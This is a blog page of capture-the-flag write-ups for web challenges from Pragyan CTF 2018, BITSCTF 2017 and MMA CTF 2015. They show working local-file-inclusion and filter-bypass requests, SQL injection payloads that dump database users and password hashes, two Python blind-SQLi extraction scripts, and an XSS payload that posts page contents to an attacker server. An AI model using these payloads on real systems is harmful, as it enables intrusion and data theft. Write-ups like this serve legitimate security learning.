Showing posts with label admin. Show all posts
Showing posts with label admin. Show all posts

Sunday, March 4, 2018

Pragyan CTF 2018 - web


This post includes the following writeups:


Unfinished business (100pts)



This challenge presents a login prompt and a nice option of making yourself admin.

It was unusual that the organizers decided to reuse account credentials for the challenges themselves. This was one of those challenges.

After logging in we see a success message:


Attempting to visit admin.php, we get redirected to the same intermediate page.

The redirect looked a little suspicious, so it seemed right to check this using curl:


After editing out extra headers, we get the flag without the redirect:

$ curl 'http://128.199.224.175:25000/admin.php' -H 'Cookie: PHPSESSID={REDACTEDREDACTEDREDACTED}'

<!DOCTYPE html>
<html>
<head>
    <title>Admin Dashboard</title>
</head>
<body>

<center>
<h4>
Redirect
<br><br>
The Admin panel is under construction. Redirecting ...
</h4>
<br><br>
Flag :- pctf{y0u=Sh0Uldn'1/h4v3*s33n,1his.:)}
</center>

</body>
</html>



Authenticate your way to admin (150pts)



This challenge also used the CTF creds to auth, slightly odd, but when we login we get the following page:


They also included some source files for this challenge, notably this included:

$id_type = $_SESSION['id_type'];
$id = $_SESSION['id'];
...
<?php
    require "sayings.php";
    printf(get_random_saying());
    echo "<br><br>";
    if($id === 'admin' && $id_type === 'team_name')
        printf(output_flag());
?>

In login.php we also see $_SESSION values being set without condition:

$type = $_POST['id_type'];
$identifier = $_POST['identifier'];
$password = $_POST['password'];
$_SESSION['id'] = $identifier;

This means we could probably set the id & id_type to 'admin' and 'team_name' respectively without any verification, when attempting this we get a failure message:


This doesn't stop us from visiting homepage.php with our newly saved admin session:



El33t Articles Hub (200pts)



This challenge was a lot of fun and had a nice distraction!

First clicking on a link, we notice we're redirected to a page with some content, and the url contains:

http://128.199.224.175:22000/?file=Morning%20Rituals


This immediately invokes the idea of LFI. Playing around a little, we start to get errors filtering keywords such as php: to mitigate attacks such as php://filter.


After looking around for other potential vulnerabilities, something odd pops up:

<link rel='shortcut icon' href='favicon.php?id=3' type='image/x-icon'>

Why would a favicon be a php file, and why would it have an id? This is pure fish sauce.

Let's try to LFI it!

$ curl http://128.199.224.175:22000/favicon.php\?id\=./index.php
No files named './favicons/./index.php.png', './favicons/./index.php.ico'  or './favicons/./index.php.php' found

Perfect. Looks horrible.

Let's grab index.php source:

$ curl http://128.199.224.175:22000/favicon.php\?id\=../index

index.php snippet:

<!DOCTYPE html>
<html>
  <head>

  <?php
    $favicon_id = mt_rand(1,7);
    echo "<link rel='shortcut icon' href='favicon.php?id=$favicon_id' type='image/x-icon'>";
  ?>
...
    <?php
        error_reporting(0);
        require "fetch.php";
        require "helpers.php";

        $filename = !empty($_GET['file']) ? $_GET['file'] : "";

        if($filename !== "") {

            $filename = sanitize($filename);
            $file_contents = read_article($filename);
            echo "<p>";
            echo $file_contents;
            echo "</p>";
...

It looks like there are other php files to dump (favicon.php, fetch.php, helpers.php):

$ curl http://128.199.224.175:22000/favicon.php\?id\=../favicon > favicon.php
$ curl http://128.199.224.175:22000/favicon.php\?id\=../fetch > fetch.php
$ curl http://128.199.224.175:22000/favicon.php\?id\=../helpers > helpers.php

Grepping for the flag we see the match:

$ grep flag *
helpers.php:    $evil_chars = array("php:", "secret/flag_7258689d608c0e2e6a90c33c44409f9d");


Visiting this url we get the flag:


After walking through this challenge again, it seems the flag was locked down so the technique above wouldn't work. So as an addition to this writeup, let's walk through the next steps after direct flag access has been denied.

Looking at the files again there was a filter for the first LFI:

$bad_chars = array("./", "../");
foreach ($bad_chars as $value) {
    $filename = str_replace($value, "", $filename);
}

Playing around in a local/online PHP repl helps with this, we end up with the new url:

http://128.199.224.175:22000/?file=.....///secret//flag_7258689d608c0e2e6a90c33c44409f9d

This utilizes two LFI bugs, which is a nice combo to get the flag:



Animal attack (200pts)



As the name implies on this one, we're given a database of animal spies, and it hints at the possibility of SQL Injection with the search box.

Trying a very simple injection, we get a successful result:


We can check if it's really SQL Injection and not just a rough match by checking the failing condition 1=2:



Looks like we have something! Now we just need to union select and we should be done right?

The next query was:

alix' union select * from users


They seem to have blocked the keyword 'union' from the input. We'll have to get more creative.

Without any reflected errors and the blocking of keywords, it made sense to go the blind sql injection route.

This is a good paper on blind sqli which was followed initially during the CTF - https://www.exploit-db.com/papers/13045/

First it would be nice to go through quicker iterations for searching. Using the same method above to copy the cURL value, we get a simplified version on the command line. Note the web application base64 encoded the query before sending it off, so we do the same:

$ curl -s 'http://128.199.224.175:24000/' --data "spy_name="$(echo -en "alix'\n and 1=1 #" | base64)

To identify if the query succeeded or failed we can grep for Alix:

$ curl -s 'http://128.199.224.175:24000/' --data "spy_name="$(echo -en "alix'\n and 1=1 #" | base64) | grep Alix
        <b> Name : </b> Alix <br>

In the exploit-db paper by Marezzi, it mentions existence checks for columns, we'll perform the same here:

$ curl -s 'http://128.199.224.175:24000/' --data "spy_name="$(python -c 'print "alix'"'"' and (select substring(concat(1,password),1,1) from users where username=\"admin\" limit 0,1)=1 #".encode("base64").replace("\n", "")') | grep Alix

With this we are able to tell there is a users table with an admin user and a password column.
Now we can enumerate which characters are in the password by using character range comparisons.

Starting with the first character, we can identify that it starts with the known flag format 'pctf{':

curl -L 'http://128.199.224.175:24000/' --data "spy_name="$(python -c 'print "alix'"'"' and ascii(substring((SELECT password from users where username=\"admin\" limit 0,1),1,1))=112 #".encode("base64").replace("\n", "")') | grep Alix

That Passes! So now to enumerate other characters.
To find other characters, we iterate through the potential character space (python's string.printable is fine for this). Once we reach the point where the current character succeeds and the next fails, we know the next is part of the password. This may become clear in the following example:

We know 'p' is the beginning of the flag, when we iterate through all possible characters we reach 'o'. The check 'p' > 'o' succeeds. Next we check if 'p' > 'p', this obviously fails, and we know that 'p' is the next match for our password.

$ curl -s 'http://128.199.224.175:24000/' --data "spy_name="$(python -c 'print "alix'"'"' and ascii(substring((SELECT password from users where username=\"admin\" limit 0,1),1,1))>111 #".encode("base64").replace("\n", "")') | grep Alix
        <b> Name : </b> Alix <br>
$ curl -s 'http://128.199.224.175:24000/' --data "spy_name="$(python -c 'print "alix'"'"' and ascii(substring((SELECT password from users where username=\"admin\" limit 0,1),1,1))>112 #".encode("base64").replace("\n", "")') | grep Alix

We'll also want to make this process more efficient by introducing a binary search while traversing through the possible characters.

This was the final client for the challenge:

#!/usr/bin/env python
import requests

checkRange = range(9, 126)
BASE = "alix' and ascii(substring((SELECT password from users where username=\"admin\" limit 0,1),{},1))>{} #"

def bsearch(pos):
  min = 9
  max = 126
  while True:
    if max < min: return -1
    m = (min + max) // 2

    first = request(pos, m)
    second = request(pos, m + 1)

    if first and not second:
      return m + 1
    elif first and second:
      min = m + 1
    else:
      max = m - 1

def request(pos, char):
  payload = BASE.format(pos, char).encode('base64')
  r = requests.post('http://128.199.224.175:24000/', { "spy_name": payload })
  return 'Alix' in r.text

def main():
  flag = ''
  pos = 1

  while '}' not in flag:
    flag += chr(bsearch(pos))
    print 'Flag: {}'.format(flag)
    pos += 1

  print 'Result: {}'.format(flag)

if __name__ == '__main__':
  main()


Running the client we get the flag:



Monday, February 6, 2017

BITSCTF 2017 - Web [Batman vs Joker, Message the admin]


Batman vs Joker (30)



Visiting robots.txt instantly told us the type of challenge this would be:

Not Found

The requested URL /sql/robots.txt was not found on this server.

Apache/2.4.10 (Debian) Server at joking.bitsctf.bits-quark.org Port 80

Looks like we're dealing with SQL injection! If we put a quote mark, we can see an error:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' Limit 1' at line 1


With a little fiddling, it looks like we can simply union select two fields and grab whatever data we need.

Starting out with something simple, we try the most basic SQLi statement:

' or 1=1 #

First name:Harry
Surname: Potter
First name:Hermione
Surname: Granger
First name:Ronald
Surname: Weasley
First name:Joker
Surname: Joker

So it dumps out a handful of characters from Harry Potter and the Joker. Let's see what else we can find:

' or 1=1  union select 1,@@version #
...
First name:1
Surname: 5.5.54-0+deb8u1

And we have MySQL 5.5.54 we're working with.

' or 1=1  union select user,password from mysql.user #
...
First name:root
Surname: *[redacted_for_article]
First name:debian-sys-maint
Surname: *[redacted_for_article]
First name:tester
Surname: *[redacted_for_article]

Wow, so we actually can dump the root password, that's nice! Thanks!

Then dumping the table information we can see our current CIA record table and an extra one (Joker):

' or 1=1  union select  table_schema,table_name FROM information_schema.tables #

...
Surname: INNODB_CMP_RESET
First name:information_schema
Surname: INNODB_BUFFER_PAGE_LRU
First name:hack
Surname: CIA_Official_Records     <<
First name:hack
Surname: Joker                    <<
First name:mysql
Surname: columns_priv
First name:mysql
...

Using this we can get the column name we're looking for (rather obvious in hindsight):

' or 1=1 union select table_name, column_name FROM information_schema.columns #

...
First name:CIA_Official_Records
Surname: username
First name:CIA_Official_Records
Surname: first_name
First name:CIA_Official_Records
Surname: last_name
First name:Joker
Surname: Flag                   <<<<
First name:Joker
Surname: HaHaHa
First name:columns_priv
Surname: Host
First name:columns_priv
Surname: Db
...

And now to grab the Flag!

' or 1=1 union select 1,Flag from Joker #

First name:Harry
Surname: Potter
First name:Hermione
Surname: Granger
First name:Ronald
Surname: Weasley
First name:Joker
Surname: Joker
First name:1
Surname: BITSCTF{wh4t_d03snt_k1ll_y0u_s1mply_m4k3s_y0u_str4ng3r!}


BITSCTF{wh4t_d03snt_k1ll_y0u_s1mply_m4k3s_y0u_str4ng3r!}



Message the admin (60)


This one went fairly quickly because some recent challenges were very similar. So it was still in muscle memory. The challenge was to send a message to the 'admin' (a PhantomJS server watching for messages), and include some payload to send to them. Most likely a CSRF or XSS challenge.



Hitting robots.txt really quickly we get:

Not Found

The requested URL /xss/robots.txt was not found on this server.

Apache/2.4.10 (Debian) Server at msgtheadmin.bitsctf.bits-quark.org Port 80

This tells us our assumption about XSS was correct, and we can proceed to include a payload that calls back to our server with some information.

Most initial payloads include document.cookie, but since the most recent challenge was to include page contents, that was the first check to try.

<script src='https://cdnjs.cloudflare.com/ajax/libs/jquery/3.1.1/jquery.js'></script>
<script>
  var x = $('body').html().toString();
  $.post('http://[some-server]/analytics', x);
</script>


Running a server and redirecting the output to an html file, we get this:




BITSCTF{hsr_1s_n0t_cr3ative}



Sunday, September 6, 2015

MMA CTF 2015 - Login as admin! (30)

On this challenge I took an approach that was probably over-engineered. Used Blind SQLi to find the password of the admin user.


You can login with 'test/test' credentials, which gives you this output:
You are test user.
logout

Let's try logging in with the admin' user.

Initially tried a simple sql injection and it worked immediately:
Username: admin' --
This output was provided, saying we needed to go further by finding the password for the user:
Congratulations!!
You are admin user.
The flag is your password!
logout

This worked without setting the password field, so this makes things easy. Didn't want to attempt dumping the password or joining with the username. So instead went the Blind SQLi route. First tried the initial effort by running:
admin' and password like '%' --
> Success!
admin' and password like 'MMA{%' --
> Success!
admin' and password like 'abcd%' --
> Expected Failure.

Now that we have that out of the way, let's write a python client!
import sys
import requests
import random
import string

url = "http://arrive.chal.mmactf.link/login.cgi"
injection = "admin' and password like '{}' --"

allChars = string.lowercase

solution = "MMA{"

def found(c):
  print "Found! :: {}".format(c)
  print solution

while len(solution) < 80:
  for c in allChars:
    print 'Attempt: {}'.format(c)
    content = requests.post(url, {
      "username": injection.format(solution + c + "%")
    }).content
    if 'invalid' not in content:
      solution += c
      found(c)
      break
    elif c == 'z':
      solution += '_'
      found(c)


After a few cycles, this prints out:
  MMA{cats_alice_band}